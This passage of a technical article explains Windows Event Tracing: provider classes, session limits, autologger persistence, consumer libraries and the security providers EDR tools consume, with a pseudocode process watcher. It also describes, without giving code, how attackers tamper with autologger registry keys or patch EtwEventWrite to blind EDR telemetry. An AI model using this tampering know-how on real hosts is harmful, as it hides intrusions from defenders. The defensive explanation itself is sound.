A component that emits ETW events, identified by a GUID. A provider is registered with the system at runtime via the `EventRegister` API (or its predecessor `RegisterTraceGuids` for classic providers) and emits events via `EventWrite` (or `TraceEvent`). Providers ship inside Windows itself, inside Microsoft applications, and inside any third-party binary that wants to expose tracing. A component that creates, configures, enables, and stops trace sessions. Controllers select which providers a session subscribes to and at which level and keyword bitmask. The Windows Performance Recorder, `logman`, `xperf`, and every EDR's session-management code are controllers. A component that reads events from a session in real time or from an `.etl` file on disk. Consumers register a callback that the system invokes once per delivered event. The Windows Performance Analyzer, the krabsetw library, SilkETW, and every EDR's sensor process are consumers. flowchart LR Ctl[Controller
StartTrace + EnableTrace] --> Sess[Trace Session
per-session buffer pool] P1[Provider on CPU 0] --> CPU0[CPU 0 buffer] P2[Provider on CPU 1] --> CPU1[CPU 1 buffer] P3[Provider on CPU N] --> CPUN[CPU N buffer] CPU0 --> WT[Writer thread
asynchronous drain] CPU1 --> WT CPUN --> WT Sess -.governs.-> CPU0 Sess -.governs.-> CPU1 Sess -.governs.-> CPUN WT --> File[(.etl file)] WT --> RT[Real-time consumer
OpenTrace + ProcessTrace]

The original Windows 2000 implementation supported 32 trace sessions running simultaneously [@ms-etw-sessions] [@ms-etw-sessions], a number Microsoft later raised to 64 globally. ETW was framed as a developer-diagnostics facility -- the Windows Driver Kit primary still describes it that way [@ms-etw-wdk] [@ms-etw-wdk] -- and the security-telemetry use case did not exist for almost a decade.

But the design choices that made ETW good for low-overhead production diagnostics turn out to be exactly the design choices a security telemetry bus needs. Per-CPU buffers solve the multi-core throughput problem. Asynchronous writes solve the producer-latency problem. Dynamic enable solves the always-shipping-but-mostly-off problem. The trichotomy solves the third-party-extensibility problem. Twenty-five years later, every modern Windows EDR consumes telemetry through the same four primitives.Windows 2000's 32-session global cap [@ms-etw-sessions] is preserved verbatim on the modern Microsoft Learn page: "Windows 2000: Supports only 32 event tracing sessions." The cap doubled to 64 in later releases and has stayed there ever since.

The 2000-era design carried one limit, however, that turned out to matter for security: only one trace session could enable a classic provider at a time. The next ten years would be defined by the consequences.

3. The MOF era: one session, one steal, one decade of coexistence pain

In 2005, a third-party performance monitor that registered a classic provider could find itself silently disabled the moment Microsoft's wprui.exe started its own session against the same provider GUID. The first session got no error. It just stopped receiving events. That second-consumer-steals-first behavior is the architectural fact of the entire 2000-2007 era.

Microsoft Learn still documents the rule in one sentence:

Note: "Up to eight trace sessions can enable and receive events from the same manifest-based provider. However, only one trace session can enable a classic provider. If more than one trace session tries to enable a classic provider, the first session would stop receiving events when the second session enables the provider." -- Microsoft Learn, Configuring and Starting an Event Tracing Session [@ms-etw-config] [@ms-etw-config]

That single rule made multi-EDR coexistence on classic providers structurally impossible. If Defender's predecessor and a third-party HIPS both wanted real-time process events from the same classic provider, they had to fight for it. The loser got silence with no notification.

The provider class involved was MOF-based, named after the schema language that described its events.

The schema description language inherited from WBEM (Web-Based Enterprise Management). For ETW, MOF files describe each event a classic provider can emit -- field names, types, tasks, opcodes -- and are compiled into the WMI repository at install time using `mofcomp`. Consumers decode events by querying the WMI repository for the matching MOF schema. A synonym for *MOF provider*. The original ETW provider class introduced in Windows 2000. Registered with `RegisterTraceGuids`, emits events via `TraceEvent`, decoded against a MOF schema in the WMI repository. Capped at one trace session per provider.

The MOF model was workable for a single-consumer world. A performance-tuning team running an in-house tool could enable the provider, capture, and disable. As the substrate of a security stack with multiple agents on the same host, it could not work. The mid-2000s had not yet produced a "multiple agents on the same host" world, so the limit did not bite immediately. By 2007 it would.

Class	Era	Schema location	Sessions/provider	Adoption in 2026
MOF / classic	2000	WMI repository	1	Niche; mostly NT Kernel Logger
WPP	2002	`.pdb` (TMF)	1	Pervasive inside Windows internals
Manifest-based	2007 (Vista)	XML manifest	8	Dominant for security telemetry
TraceLogging	2015 (Win10)	Inline (TLV)	8	Rising for new app/service code

A handful of classic providers survived the 2007 transition and are still significant. The most important is the NT Kernel Logger [@ms-etw-sessions] [@ms-etw-sessions], the special-purpose system session that captures high-throughput kernel events: file I/O, disk I/O, registry operations, network packets. On most consumer SKUs it remains the only path to those event streams at line rate. Sysmon and most kernel-level diagnostics tools use the NT Kernel Logger or its modern descendants.The NT Kernel Logger is a system reserved logger. There is exactly one of it on a host, and the kernel itself owns the buffers. Tools that want kernel disk, file, registry, or network events at high throughput typically subscribe through it rather than through manifest providers. This is why a host can have eight Microsoft-Windows-Kernel-File consumers but cannot easily have two simultaneous full-fidelity disk I/O traces.

By 2007 Microsoft knew the one-session limit had to go. The fix shipped with Windows Vista in January 2007, and it was the central architectural decision of the entire ETW-as-EDR-substrate story.

4. Vista's eight sessions: the architectural decision that made the modern EDR endpoint possible

Park and Buch open their April 2007 MSDN Magazine article with the line that frames every later development:

On Windows Vista, ETW has gone through a major upgrade, and one of the most significant changes is the introduction of the unified event provider model and APIs. -- Park & Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]

The new model raised the per-provider session cap from one to eight. That single number is why Defender, CrowdStrike Falcon, SentinelOne, Sysmon, and a researcher's SilkETW tap can all read Microsoft-Windows-Kernel-Process [@fireeye-silketw-launch] [@fireeye-silketw-launch] from the same host today without one of them stealing events from the others.

The Vista model also unified two things that had been separate. ETW providers wrote to per-CPU ring buffers; the Win32 Event Log was a different facility with its own writer, its own format, and its own consumers. Park and Buch describe the unification verbatim:

The new unified APIs combine logging traces and writing to the Event Viewer into one consistent, easy-to-use mechanism for event providers. -- Park & Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]

After Vista, a single EventWrite call from a manifest-based provider lands both in the per-CPU ring buffer for ETW consumers and in the evtx channel for wevtutil and Group Policy audit consumers, depending on how the manifest's channel mappings are configured. The "Event Viewer" the user sees is now a consumer of ETW.

The Vista-era ETW provider class. The provider author writes an XML manifest enumerating events, fields, tasks, opcodes, levels, keywords, and channels. The `mc.exe` message compiler turns the manifest into a binary resource embedded in the provider binary; `wevtutil im` registers the manifest with the system at install time. At runtime the provider calls `EventRegister` once per provider GUID and `EventWrite` per event. Capped at eight trace sessions per provider. A logical destination for an event, declared in a manifest. The four standard channels are *Admin* (operational events for administrators), *Operational* (verbose events for operators), *Analytical* (high-volume events for diagnostics), and *Debug* (developer-only events). When the provider's `EventWrite` fires, the kernel demultiplexes by channel: events with channels enabled in the `evtx` configuration land in the corresponding channel log, while subscribed real-time consumers receive them through their session.

The deployment pipeline for a manifest-based provider is heavier than for a classic provider. The author writes a manifest, compiles it, embeds the resource, and runs wevtutil im at install time. Microsoft Learn calls out the distinction between provider registration and manifest installation [@ms-eventregister] [@ms-eventregister] explicitly, and notes that each process can register up to 1,024 providers [@ms-eventregister] [@ms-eventregister]. In practice few processes come close.

flowchart TD A[Author writes manifest.xml] --> B[mc.exe compiles to binary resource] B --> C[Resource embedded in provider .dll/.exe] C --> D[Installer runs wevtutil im manifest.xml] D --> E[System-wide manifest registry] F[Provider process at runtime] --> G[EventRegister GUID] G --> H[EventWrite per event] H --> I[Per-CPU ring buffer
for ETW sessions] H --> J[Channel demux
Admin / Operational / Analytical / Debug] J --> K[(.evtx log files)] I --> L[Real-time consumers] E -.decode metadata.-> L E -.decode metadata.-> K

The cap rules now read like this: eight trace sessions can enable a manifest-based provider concurrently [@ms-about-etw] [@ms-about-etw]; up to 64 sessions can run on the system at once [@ms-etw-sessions] [@ms-etw-sessions]; EnableTraceEx2 returns ERROR_NO_SYSTEM_RESOURCES when the per-provider cap binds [@ms-enabletraceex2] [@ms-enabletraceex2]. The 8-session number was chosen for ergonomics, not for security planning, but it is the load-bearing number in modern Windows endpoint security.

Key idea: The eight-session cap on manifest-based providers is the single architectural decision that made multi-EDR coexistence on the same Windows host possible. Without it, the second EDR to subscribe to Microsoft-Windows-Kernel-Process would silently steal events from the first.

A 2007-era driver author shipping the inaugural Microsoft-Windows-Kernel-Process provider, GUID {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}, authored a manifest declaring ProcessStart (event ID 1), ProcessStop (event ID 2), ImageLoad (event ID 5), and so on. Defender's MsMpEng.exe could subscribe; the future CrowdStrike Falcon could subscribe; the future Sysmon could subscribe; the future SilkETW researchers could subscribe. None starves another. The Vista unification is the architectural enabler of the modern multi-EDR Windows endpoint.

With multi-consumer concurrency solved, the next problems were authoring overhead and producer integrity. Two parallel paths branched off the Vista manifest model: TraceLogging for the first, the EtwTi PPL/ELAM gate for the second.

5. Two more provider classes: WPP for the kernel tree, TraceLogging for the app tier

Vista's manifest-based providers solved coexistence and decoding, but they were heavy to deploy. Microsoft shipped two more provider classes -- one older than Vista and one younger -- that traded manifest deployment for two different kinds of simplicity.

WPP: the C-preprocessor approach

WPP -- Windows software trace PreProcessor -- predates Vista. Community references and the Park & Buch description of ETW being "abstracted into the Windows preprocessor (WPP) software tracing technology" [@ms-park-buch-2007] place its first WDK ship in the Windows XP era; no Microsoft primary pins a specific build. It became the standard tracing facility inside the Windows kernel tree itself for years. The WDK page [@ms-wpp] [@ms-wpp] frames its purpose:

"WPP software tracing supplements and enhances WMI event tracing by adding ways to simplify tracing the operation of the trace provider. It is an efficient mechanism for the trace provider to log real-time binary messages."

A WPP provider is authored in C with macros that look like printf calls. The C preprocessor expands DoTraceMessage(FlagId, "Frobnicating widget %d", widgetId) into an EventWrite call against an auto-generated provider GUID. Format strings are extracted at build time into a Trace Message Format file embedded in the binary's .pdb. The producer cost is the smallest of any ETW provider class: emitting an event is a function call plus a few stores into a buffer. There is no manifest to deploy, no XML to author.

The corresponding decode cost is the highest. A WPP event arrives at the consumer as a binary payload referencing a TMF identifier. To turn that into a human-readable message the consumer needs the producer's .pdb file. If you do not have the symbols for the binary that emitted the event, you do not know what the event means.

That decode cost is why WPP did not become the EDR substrate. Sealighter's README puts the operational consequence verbatim:

A C-preprocessor-based ETW authoring path inherited from the XP-era WDK. Format strings are extracted to a TMF resource that lives in the producer's `.pdb`. Producer cost is minimal; decode cost requires the producer's symbol files. WPP providers inherit the classic one-session-per-provider cap and are pervasively used inside Windows itself for in-tree dev-time tracing.

"WPP traces compounds the issues, providing almost no easy-to-find data about provider and their events." -- Sealighter README [@gh-sealighter] [@gh-sealighter]

WPP providers also inherit the classic one-session-per-provider cap [@ms-about-etw] [@ms-about-etw], which would have made them unworkable for multi-EDR consumption even if the decode problem were solved. So WPP became the kernel-tree internal tracing facility -- ubiquitous inside Microsoft's source tree, irrelevant outside it.

TraceLogging: schema in the payload

Eight years after Vista, in Windows 10 (2015), Microsoft shipped a parallel path that solved a different problem. TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about] keeps the eight-session cap of manifest providers but eliminates the manifest deployment burden:

"TraceLogging is a system for logging events that can be decoded without a manifest." -- Microsoft Learn, About TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about]

A TraceLogging event carries its own schema inline. The event payload is a sequence of typed-length-value triples: a one-byte type tag, a length, and the data. A consumer that has never seen the provider before can still decode the event because the names and types of every field are in the event. The provider author needs no XML manifest, no mc.exe, no wevtutil im.

The trade-off is per-event size. Inline schema strings cost bytes per event. For a high-volume provider emitting millions of events per minute, the per-event size matters and a manifest-based provider is correct. For a new component author who wants tracing without an install-time deployment dance, TraceLogging is the right answer.

A self-describing ETW provider class shipped in Windows 10. Schema is inline in each event payload as type-length-value triples; consumers decode without a manifest. Available from C/C++ via `TraceLoggingProvider.h`, from .NET via `EventSource` with `EtwSelfDescribingEventFormat`, and from WinRT via `LoggingChannel`. Inherits the eight-session cap from the manifest-based class.

TraceLogging is also the unified path across runtimes. The same self-describing payload format is emitted from native C/C++, from .NET (when an EventSource opts into EtwSelfDescribingEventFormat), and from kernel-mode drivers [@ms-tracelogging-portal] [@ms-tracelogging-portal]. A consumer using TDH (the Trace Data Helper API) decodes them without distinguishing between the runtime that emitted them.

Four classes, four trade-offs

Class	First Shipped	Schema Location	Sessions/Provider	Decode without symbols/manifest?	Best for
MOF / classic	2000	WMI repository (`mofcomp`)	1	Needs MOF	Legacy components; NT Kernel Logger
WPP	~2002	`.pdb` (TMF)	1	No -- needs producer PDB	In-tree Windows kernel dev-time tracing
Manifest-based	2007 (Vista)	XML manifest, system-installed	8	Needs installed manifest	Shipping security telemetry
TraceLogging	2015 (Win10)	Inline TLV in payload	8	Yes	New apps and services; cross-runtime

Sources for the table: [@ms-about-etw, @ms-etw-config, @ms-tracelogging-about, @ms-wpp].

For new shipping Windows components with a known event vocabulary and high volume, choose manifest-based: smallest per-event size, evtx integration, eight-consumer concurrency. For new cross-runtime open-source providers where deployment friction matters, choose TraceLogging: same eight-consumer concurrency, no XML to author, decodable everywhere. For in-source-tree dev-time tracing inside a binary you already have symbols for, WPP is fine. For new security-relevant providers, never choose classic: the one-session cap is structurally incompatible with multi-EDR coexistence.

Four provider classes, four trade-offs. But every one of them shares a structural weakness: the producer fires from inside the calling process, and any code in that process can patch the runtime entry-point and silence the provider for itself. That is the weakness Adam Chester made famous in 2020, and the one EtwTi was built to defeat.

6. Sessions, buffers, and the autologger registry: where the telemetry actually lives

Open regedit on a Windows host and navigate to HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger. You are looking at the persistence surface of every trace session that survives a reboot on this machine -- and the persistence surface every modern EDR uses to install itself.

A session is the unit ETW actually exposes to controllers. It owns a per-session pool of buffers, a writer thread, a destination (file or real-time consumer), and a list of providers it has subscribed to. The lifecycle is short. A controller fills out an EVENT_TRACE_PROPERTIES structure [@ms-event-trace-props] [@ms-event-trace-props] with a session name, buffer size, logging mode, and destination, then calls StartTrace. The kernel allocates the buffers -- at least two per logical processor [@ms-event-trace-props] [@ms-event-trace-props] -- and returns a session handle. The controller then calls EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] for each provider it wants to subscribe to, passing EVENT_CONTROL_CODE_ENABLE_PROVIDER along with the provider GUID, level, and keyword bitmask.

If the provider's per-class session cap is already saturated, EnableTraceEx2 returns ERROR_NO_SYSTEM_RESOURCES. If the caller lacks the privilege to enable that provider, it returns ERROR_ACCESS_DENIED. We will see both error codes again later, on different paths.The default buffer size sweet spot is small. The Microsoft Learn primary states it explicitly: "Trace sessions with large buffers (256KB or larger) should be used only for diagnostic investigations or testing, not for production tracing." [@ms-event-trace-props] Production session buffer sizes typically sit in the 32-64KB range.

There are three logging modes. File mode writes events to a sequential .etl file on disk; the writer thread drains buffers to disk and the file grows. Circular mode writes to a fixed-size file in a circular buffer; old events are overwritten when the file fills. Real-time mode delivers events to a real-time consumer process via a kernel callback. Defender, EDR sensors, and Sysmon all use real-time mode for their hot paths; they may also write to file as a forensic backup.

A process that calls `OpenTrace` with `LogFileMode = EVENT_TRACE_REAL_TIME_MODE` and receives events live via a registered callback rather than from an `.etl` file on disk. Real-time consumers must keep up with producer rate or events are lost.

The autologger registry path is what makes a session survive a reboot. A subkey under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\<SessionName> defines a session that the kernel starts at boot, before most user-mode services are running. Each subkey's values configure the session: BufferSize, MaximumBuffers, LogFileMode, FileName, plus a nested <SessionName>\<ProviderGuid> subkey for each provider to enable.

A registry-persisted boot-time ETW session. The kernel reads `HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\` at boot, creates the session, enables the configured providers, and begins capture before user-mode services start. Defender's Sense agent, CrowdStrike's Falcon sensor, and Sysmon's driver all install autologgers here.

Defender's DiagTrack, Microsoft-Windows-Diagnosis-PCW, the SQM kernel logger, the EventLog-Application channel autologger -- all live here (observable via logman query -ets on a stock Windows install). Third-party EDRs add their own. The Palantir CIRT taxonomy [@palantir-tampering-wayback] (about which more in section 11) frames this registry surface as the persistent-tampering target: an attacker who can write to this subtree can disable an EDR's boot-time tracing without ever interacting with the running EDR process. The events of interest never get captured because the session never starts.

There is a related concept worth naming: the Global Logger. This is a special autologger session whose configuration lives in HKLM\SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger. It is the boot-time tracing path that comes online before any user-mode service, including before Sense and the EDR sensor. It exists to capture early-boot kernel events that no later session can record.

flowchart TD R[HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\] --> S1[DiagTrack-Listener] R --> S2[Defender-Listener] R --> S3[ThirdPartyEDR-Sensor] R --> SG[GlobalLogger] S2 --> S2P[Provider GUIDs subkeys] S2 --> S2C[BufferSize / MaximumBuffers / LogFileMode] S2 --> S2F[FileName=.etl path] S2P --> KS[Kernel reads at boot] S2C --> KS S2F --> KS KS --> Started[Session started before user-mode services]

Note: logman query -ets enumerates every live trace session on the host. Cross-reference against the subkeys in HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ to find sessions configured to start at boot. Any unauthorised entry -- a session you do not recognise, an autologger pointed at a destination outside your EDR's data path, a provider GUID you cannot account for -- belongs in your incident response queue. We return to this in section 14.

ERROR_NO_SYSTEM_RESOURCES from EnableTraceEx2 is the runtime symptom of the eight-session cap binding [@ms-enabletraceex2]. SOC engineers debugging multi-EDR coexistence problems should look for it in their sensor's diagnostic output. Eight subscribers per manifest provider is enough for the typical Defender + third-party EDR + Sysmon + research tap arrangement, but a host running multiple research-mode tracers can saturate it.

Persistence solved: a session the OS starts at every boot. But who reads it? That requires a consumer process, and consumers are where the architecture forks along the security spectrum.

7. Consumer architecture: from `OpenTrace` to KrabsETW to a 30-line process watcher

The consumer side of ETW is mechanically simple -- three calls to open a trace, register a callback, and process events -- but the choice of library tells you almost everything about what kind of EDR you are building.

The native pattern is three Win32 calls. EnableTraceEx2 subscribes the session to a provider GUID with a level and keyword bitmask. OpenTrace returns a handle on the session for consumption. ProcessTrace blocks the calling thread, drains events from the kernel's per-CPU buffers, and dispatches each one to a registered callback. Each event arrives as an EVENT_RECORD containing a header (provider GUID, event ID, level, keyword, opcode, timestamp, process ID, thread ID) and a payload that the consumer decodes.

For manifest providers the consumer decodes via TDH (the Trace Data Helper API) against the system-installed manifest. For TraceLogging providers the consumer decodes from the inline TLV payload. For classic and WPP providers the consumer needs the MOF schema or the producer's PDB respectively.

The Win32 decoder API that turns a raw `EVENT_RECORD` payload into typed fields, using the registered manifest as the schema source. `TdhGetEventInformation` returns a `TRACE_EVENT_INFO` structure with the field names, types, and offsets; `TdhFormatProperty` extracts each field. TDH is what makes manifest events self-describing at the consumer end, even though the schema lives out of band. sequenceDiagram participant C as Consumer process participant K as Kernel ETW subsystem participant P as Provider process C->>K: StartTrace(session) C->>K: EnableTraceEx2(session, providerGuid, level, keyword) K-->>P: Provider notified to begin emitting C->>K: OpenTrace(session) K-->>C: TraceHandle C->>K: ProcessTrace(handle) [blocking] P->>K: EventWrite(payload) K-->>C: callback(EVENT_RECORD) P->>K: EventWrite(payload) K-->>C: callback(EVENT_RECORD) Note over C,K: ProcessTrace returns only when session ends

In production almost no one writes the raw three-call pattern. The library universe settled into a small set of widely-used wrappers, and the choice of wrapper maps almost one-to-one onto the kind of EDR the engineering team is building.

krabsetw [@gh-krabsetw] [@gh-krabsetw] is a Microsoft-authored C++ library that simplifies session and provider management. Its README explicitly notes the production caller: a C++/CLI wrapper called Microsoft.O365.Security.Native.ETW, "used in production by the Office 365 Security team. It's affectionately referred to as Lobsters." If you are building an in-house EDR or a security analytics pipeline in C++ on Windows, krabsetw is the default choice.

Microsoft.Diagnostics.Tracing.TraceEvent [@nuget-traceprocessing] [@nuget-traceprocessing] is the general-purpose .NET ETW library, distributed as a NuGet package and used heavily inside the .NET diagnostics community. Microsoft's separate Microsoft.Windows.EventTracing.Processing.All package is the .NET TraceProcessing API [@ms-etw-portal] [@ms-etw-portal] that the Windows engineering team uses internally to analyze ETW data from the Windows engineering system.

SilkETW [@gh-silketw] [@gh-silketw], originally released by Ruben Boonen at FireEye in March 2019 [@fireeye-silketw-launch] [@fireeye-silketw-launch] (now maintained by Mandiant), wraps Microsoft.Diagnostics.Tracing.TraceEvent to expose ETW telemetry to detection-engineering and threat-hunting workflows. SilkETW is the canonical "blue team research" consumer: the tool you reach for when you want to see what events a provider actually emits without writing C++.

Sealighter [@gh-sealighter] [@gh-sealighter], by pathtofile, is a krabsetw-wrapping C++ tool that makes multi-provider subscription and filtering tractable from a JSON config. The README states: "Sealighter leverages the feature-rich Krabs ETW Library to enable detailed filtering and triage of ETW and WPP Providers and Events." Sealighter is the canonical "red/blue team triage" consumer: more flexible than SilkETW, less code to write than raw krabsetw.

The pitfalls are universal across all four libraries. The krabsetw README spells two of them out:

"The call to 'start' on the trace object is blocking so thread management may be necessary." -- [@gh-krabsetw]

"Throwing exceptions in the event handler callback ... will cause the trace to stop processing events." -- [@gh-krabsetw]

Both have caused real production outages. An EDR that throws an unhandled exception in its event callback dies silently as an ETW consumer, and the next event the provider emits goes nowhere.The "throwing in the callback stops the trace" pitfall is the gotcha that bites every team writing their first ETW consumer. The kernel does not catch the exception; the trace simply ends. A production-quality consumer wraps every callback in try/catch (or its language equivalent) and routes failures through a side channel, not through the trace itself.

To make the structure concrete, here is what a 30-line Microsoft-Windows-Kernel-Process real-time consumer looks like, written in TypeScript pseudocode that mirrors the structure a Sealighter or krabsetw user would write:

{` // Pseudocode: the structure of a krabsetw / Sealighter consumer // for the Microsoft-Windows-Kernel-Process provider.

const KERNEL_PROCESS_GUID = "{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}";

const session = new UserTraceSession("MyEdrSensor");

const provider = new Provider(KERNEL_PROCESS_GUID); provider.level = TraceLevel.Information; provider.anyKeyword = 0xFFFFFFFFFFFFFFFFn;

provider.onEvent = (event) => { try { switch (event.id) { case 1: // ProcessStart const pid = event.fields.ProcessID; const imageName = event.fields.ImageName; const cmdLine = event.fields.CommandLine; console.log(`Process start pid=${pid} image=${imageName}`); break; case 2: // ProcessStop console.log(`Process stop pid=${event.fields.ProcessID}`); break; case 5: // ImageLoad console.log(`Image load ${event.fields.ImageName} into pid=${event.fields.ProcessID}`); break; } } catch (e) { // never let an exception escape the callback sideChannelLog(e); } };

session.enable(provider); session.start(); // blocks until session.stop() is called `}

That code, in production form, is a working EDR sensor's process watcher. Every commercial Windows EDR has something with the same structure inside it.

Note: krabsetw wraps the C++ surface and is the default for production in-house EDRs. TraceEvent wraps .NET and is the default for diagnostics tooling. SilkETW exposes ETW to detection engineers without C++. Sealighter wraps krabsetw with a config file for triage. Pick the library that matches the team that will own the consumer, not the one that looks most powerful.

This is what Sysmon, Wazuh, and Elastic Defend look like under the hood -- a SYSTEM-privileged user-mode service consuming public providers. But there is one provider this code cannot subscribe to. Try it and EnableTraceEx2 returns ERROR_ACCESS_DENIED. The next two sections are about the GUID that requires a passport.

8. The security provider catalogue: what EDRs actually read

There are roughly 1,300 manifest-based providers shipped on a 2026 Windows 11 24H2 install -- the community-maintained jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the count across builds, and the repnz manifest archive [@gh-repnz] [@gh-repnz] holds byte-stable copies of the manifests for cross-version diffing. Eight of those providers carry almost all the security telemetry the EDR vendors read. This is the catalogue.

`Microsoft-Windows-Security-Auditing`

GUID {54849625-5478-4994-A5BA-3E3B0328C30D}. The audit-policy-driven Security event log producer. Event ID 4624 (logon), 4625 (failed logon), 4634 (logoff), 4688 (process create with command line) [@learn-microsoft-com-event-4688] [@ms-event-4624], 4689 (process exit), and the broader subcategory audit policy events. This is the closure for the legacy Security event log: when an administrator turns on "audit logon events" in the local security policy, this is the provider that emits the events. EDRs that consume it are reading the same stream the Event Viewer's Security log shows.

`Microsoft-Windows-Kernel-Process`

GUID {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}. The canonical real-time process telemetry source for non-PPL EDR. Event ID 1 fires on ProcessStart with PID, parent PID, image name, command line, and SID; event ID 2 on ProcessStop; event ID 3 on thread create; event ID 4 on thread exit; event ID 5 on ImageLoad with the loaded module name and base address. SilkETW's launch post enumerates the event record format inline [@fireeye-silketw-launch] [@fireeye-silketw-launch]. This provider is widely cited in EDR community documentation as available since Windows 7, though no Microsoft primary pins the exact build.

`Microsoft-Windows-Kernel-File`, `Microsoft-Windows-Kernel-Network`, `Microsoft-Windows-Kernel-Registry`

The per-subsystem siblings of Kernel-Process. Kernel-File surfaces file open / close / read / write / delete operations with the file path and the operating PID. Kernel-Network surfaces TCP and UDP send / receive with the local and remote endpoints. Kernel-Registry surfaces registry create / open / set value / delete with the key path and value name. All three use the manifest-based class and inherit the eight-session cap. EDRs that want full-fidelity per-syscall telemetry without writing kernel callbacks subscribe to these three.

`Microsoft-Antimalware-Scan-Interface`

GUID {2A576B87-09A7-520E-C21A-4942F0271D67}, documented in the Microsoft Learn AMSI portal [@ms-amsi-portal] [@ms-amsi-portal] and surveyed in the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback]. This is the ETW provider that surfaces AMSI scan results: a script block submitted by PowerShell, JScript, VBA, an Office macro engine, or any other AMSI client comes through here after deobfuscation. Whatever string the script engine is about to execute, the registered antimalware engine sees in plaintext, and the result of the scan is published via this provider for any listener.

A COM interface exposed by Windows since 2015 that script engines and runtime hosts can call into to submit content for malware scanning. The Microsoft Learn AMSI portal lists PowerShell, JScript and VBScript via Windows Script Host, Office VBA macros, and User Account Control as in-box integrators [@ms-amsi-portal]; the .NET CLR's assembly load path joined the list with .NET Framework 4.8, as documented in Adam Chester's CLR walk-through [@xpn-hiding-dotnet]. The scanned content is the post-deobfuscation form -- the actual code about to execute, not the obfuscated wrapper. Scan results surface via the `Microsoft-Antimalware-Scan-Interface` ETW provider.

The AMSI Operational event log channel typically appears empty by default. The Palantir taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback] notes the keyword bitmask configured for the channel does not surface scan-result events. The events fire on the ETW bus and can be consumed in real time, but they do not land in the user-visible evtx log unless the consumer reconfigures the keyword mask.

`Microsoft-Windows-PowerShell`

GUID {a0c1853b-5c40-4b15-8766-3cf1c58f985a}. Event ID 4104 is the script-block-logging event that records each PowerShell script block before execution; event ID 4103 records pipeline execution detail; event ID 4100 records errors. The Microsoft Learn about_Logging_Windows reference (Windows PowerShell 5.1) [@ms-powershell-logging] [@ms-powershell-logging] documents EID 4104 verbatim ("EventId 4104 / 0x1008 ... Channel Operational ... Task CommandStart") and the script-block-logging configuration. PowerShell Core 7+ uses a separate ETW provider (PowerShellCore, GUID {f90714a8-5509-434a-bf6d-b1624c8a19a2}). Combined with AMSI the two providers give an EDR the executed PowerShell content twice: once at AMSI submission, once at script-block logging. Detection engineers use both as cross-checks.

`Microsoft-Windows-DotNETRuntime`

GUID {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}, verbatim in Adam Chester's PoC source [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The .NET CLR provider. Surfaces assembly load events, JIT compilation, AppDomain creation, exception throws. Critical for detecting Cobalt Strike's execute-assembly style of in-memory .NET payload loading. This is the provider that goes dark in the section 1 hook scene after the operator's EtwEventWrite patch.This is the provider Adam Chester targeted in the canonical March 17, 2020 ETW patching post [@xpn-hiding-dotnet]. The Cobalt Strike execute-assembly workflow produces a loud signal here -- "assembly X loaded into PID Y from in-memory source Z" -- so silencing it locally was a valuable evasion. The story comes back in section 11.

`Microsoft-Windows-Sysmon`

GUID {5770385F-C22A-43E0-BF4C-06F5698FFBD9}, surfaced by wevtutil gp Microsoft-Windows-Sysmon and inventoried in [@gh-jdu2600]; the Microsoft Learn Sysmon page by Russinovich and Garnier [@ms-sysmon] [@ms-sysmon] documents authorship, the protected-process status, and the Microsoft-Windows-Sysmon/Operational channel. This is the publishing side of Sysmon. Sysmon's kernel driver SysmonDrv.sys collects events through PsSetCreateProcessNotifyRoutineEx and friends; the user-mode service then republishes via this ETW provider so any consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) can subscribe without writing its own kernel driver. Events also land in the Microsoft-Windows-Sysmon/Operational evtx channel.

`Microsoft-Windows-Threat-Intelligence` (EtwTi)

GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344}, verbatim in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]. The only ETW source in the catalogue that fires from inside the kernel for memory-modifying syscalls. Ten task IDs, all prefixed KERNEL_THREATINT_TASK_:

ALLOCVM (NtAllocateVirtualMemory -- local and cross-process)
PROTECTVM (NtProtectVirtualMemory)
MAPVIEW (section mapping; cross-process and self)
QUEUEUSERAPC (NtQueueApcThread cross-process)
SETTHREADCONTEXT (NtSetContextThread cross-process)
READVM (NtReadVirtualMemory -- local and cross-process)
WRITEVM (NtWriteVirtualMemory -- local and cross-process)
SUSPENDRESUME_THREAD
SUSPENDRESUME_PROCESS
DRIVER_DEVICE

Each task pairs with a 64-bit keyword bitmask that distinguishes LOCAL vs REMOTE (cross-process) and KERNEL_CALLER vs not. The Elastic Security Labs walkthrough [@elastic-doubling-down] [@elastic-doubling-down] lists the named Win32/Nt syscalls that surface here:

"The most notable addition to this visibility is the Microsoft-Windows-Threat-Intelligence Event Tracing for Windows (ETW) provider ... VirtualAlloc, VirtualProtect, MapViewOfFile, VirtualAllocEx, VirtualProtectEx, MapViewOfFile2, QueueUserAPC, SetThreadContext, WriteProcessMemory, ReadProcessMemory(lsass)" -- Elastic Security Labs [@elastic-doubling-down] [@elastic-doubling-down]

The kernel-emitted ETW provider for memory-modifying syscalls. GUID `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`. Events are emitted from the kernel side of the syscall path (not from a user-mode trampoline), which makes the provider unreachable from a user-mode patcher in the calling process. Consumption is gated behind Protected Process Light at the Antimalware signer level, paired with an Early Launch Antimalware driver. The provider first shipped in the Windows 10 RS-era; the precise build is not stated verbatim in any Microsoft primary located, with community references converging on no later than 1709.

